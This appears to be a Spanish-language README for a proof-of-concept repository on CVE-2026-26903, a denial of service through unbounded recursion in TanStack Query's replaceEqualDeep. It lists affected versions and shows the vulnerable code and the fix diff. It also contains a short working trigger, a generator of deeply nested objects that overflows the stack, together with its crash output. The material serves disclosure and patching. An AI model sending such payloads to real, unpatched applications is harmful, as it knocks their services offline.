
Una PoC para demostrar CVE-2026-26903
Denegación de servicio mediante recursión ilimitada en la función replaceEqualDeep de TanStack Query
Una única actualización de consulta manipulada con objetos profundamente anidados puede congelar el hilo de JavaScript indefinidamente, provocando que la aplicación quede completamente sin respuesta. No se requiere autenticación ni permisos especiales.
Esta vulnerabilidad se corrigió en @tanstack/[email protected] mediante el PR #10032, publicado el 14 de enero de 2026.
| Paquete | Versión afectada | Versión corregida |
|---|---|---|
| @tanstack/query-core | <= 5.90.16 | 5.90.17 |
| @tanstack/react-query | depende de query-core vulnerable | 5.90.18+ |
| @tanstack/vue-query | depende de query-core vulnerable | 5.90.18+ |
| @tanstack/solid-query | depende de query-core vulnerable | 5.90.18+ |
| @tanstack/svelte-query | depende de query-core vulnerable | 6.1.7+ |
CVE-2026-26903: Denegación de servicio mediante recursión ilimitada en replaceEqualDeep (Gravedad: Media)
La función
replaceEqualDeepde TanStack Query realiza una comparación recursiva de objetos anidados sin límites de profundidad. Al procesar estructuras de datos profundamente anidadas, esto puede desencadenar una recursión ilimitada que provoca desbordamiento de pila y congelación de la aplicación.— Asignado a través de MITRE
La función replaceEqualDeep de TanStack Query se utiliza internamente para determinar si los datos de una consulta han cambiado realmente, optimizando los re-renderizados al conservar las referencias a objetos cuando es posible. La función recorre recursivamente las propiedades de los objetos para realizar una comparación de igualdad profunda.
La implementación recursiva carece de límites de profundidad o detección de ciclos:
function replaceEqualDeep(a, b) {
// ... comprobaciones de tipo ...
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
// ... comprobaciones de igualdad superficial ...
// VULNERABLE: Recursión ilimitada aquí
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
// ...
}
return copy;
}
replaceEqualDeep con datos profundamente anidadosuseQuery con datos de respuesta anidadossetQueryData, invalidateQueries o cualquier operación de caché de consultasCVE-2026-26903-PoC/
├── README.md # Este archivo
├── LICENSE
├── poc.js # PoC de Node.js (caída por desbordamiento de pila)
└── tanstack-query-poc.html # PoC de navegador (demo visual interactiva)
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
node poc.js
Testing replaceEqualDeep with deep nesting...
Depth: 100
OK - 0ms
Depth: 1000
OK - 1ms
Depth: 5000
CRASH - Maximum call stack size exceeded
Depth: 10000
CRASH - Maximum call stack size exceeded
open tanstack-query-poc.html
Opción A: Demo HTML independiente (sin dependencias)
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html
Opción B: Aplicación React (escenario realista)
cd examples/react-app-poc
npm install
npm start
# Navega a http://localhost:3000 y sigue las instrucciones en pantalla
El PoC genera objetos profundamente anidados y hace que replaceEqualDeep los procese:
function generateDeep(depth) {
let obj = { value: 'end' };
for (let i = 0; i < depth; i++) {
obj = { nested: obj };
}
return obj;
}
// Crea: { nested: { nested: { nested: ... { value: 'end' } } } }
const oldData = generateDeep(10000); // 10.000 niveles de profundidad
const newData = generateDeep(10000); // Objeto diferente, misma estructura
// Esto provoca recursión ilimitada:
replaceEqualDeep(oldData, newData);
replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested) // Nivel 1
├── replaceEqualDeep(obj1.nested.nested, ...) // Nivel 2
├── replaceEqualDeep(...) // Nivel 3
└── ... (continúa durante 10.000 niveles)
Cada llamada recursiva añade un nuevo marco de pila hasta que la pila de llamadas del motor de JavaScript se agota, congelando el hilo.
Ubicación: @tanstack/query-core/src/utils.ts (aproximada)
export function replaceEqualDeep(a, b) {
if (a === b) {
return a;
}
const array = isPlainArray(a) && isPlainArray(b);
if (!array && !(isPlainObject(a) && isPlainObject(b))) {
return b;
}
const aItems = array ? a : Object.keys(a);
const aSize = aItems.length;
const bItems = array ? b : Object.keys(b);
const bSize = bItems.length;
const copy = array ? new Array(bSize) : {};
let equalItems = 0;
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
if (a[key] === b[key]) {
copy[key] = a[key];
equalItems++;
continue;
}
if (
a[key] === null ||
b[key] === null ||
typeof a[key] !== 'object' ||
typeof b[key] !== 'object'
) {
copy[key] = b[key];
continue;
}
// VULNERABLE: Sin límite de profundidad ni detección de ciclos
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
if (v === a[key]) {
equalItems++;
}
}
return aSize === bSize && equalItems === aSize ? a : copy;
}
La corrección (aplicada en el commit 269351b de TanStack Query) añade un límite de profundidad para evitar la recursión ilimitada:
- export function replaceEqualDeep<T>(a: unknown, b: T): T
- export function replaceEqualDeep(a: any, b: any): any {
+ export function replaceEqualDeep<T>(a: unknown, b: T, depth?: number): T
+ export function replaceEqualDeep(a: any, b: any, depth = 0): any {
if (a === b) {
return a
}
+ if (depth > 500) return b
+
const array = isPlainArray(a) && isPlainArray(b)
if (!array && !(isPlainObject(a) && isPlainObject(b))) return b
// ... sección intermedia sin cambios ...
- const v = replaceEqualDeep(aItem, bItem)
+ const v = replaceEqualDeep(aItem, bItem, depth + 1)
copy[key] = v
if (v === aItem) equalItems++
Cambios clave:
depth con valor predeterminado 0 para rastrear la profundidad de la recursiónb inmediatamente si depth > 500replaceEqualDeep(aItem, bItem, depth + 1)Esta corrección sencilla evita el desbordamiento de pila y, al mismo tiempo, permite un anidamiento razonable (500 niveles es más que suficiente para estructuras de datos del mundo real).
Implementar un límite de profundidad en replaceEqualDeep:
function replaceEqualDeep(a, b, depth = 0) {
if (depth > MAX_DEPTH) return b; // Evita la recursión profunda
if (a === b) return a;
// ... lógica existente ...
const v = replaceEqualDeep(a[key], b[key], depth + 1);
// ... resto de la función
}
O usar un recorrido iterativo en lugar de recursión.
Esta prueba de concepto se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. Úsala de forma responsable y solo contra aplicaciones de tu propiedad o para las que tengas permiso explícito de prueba. Los autores no son responsables del mal uso de esta información.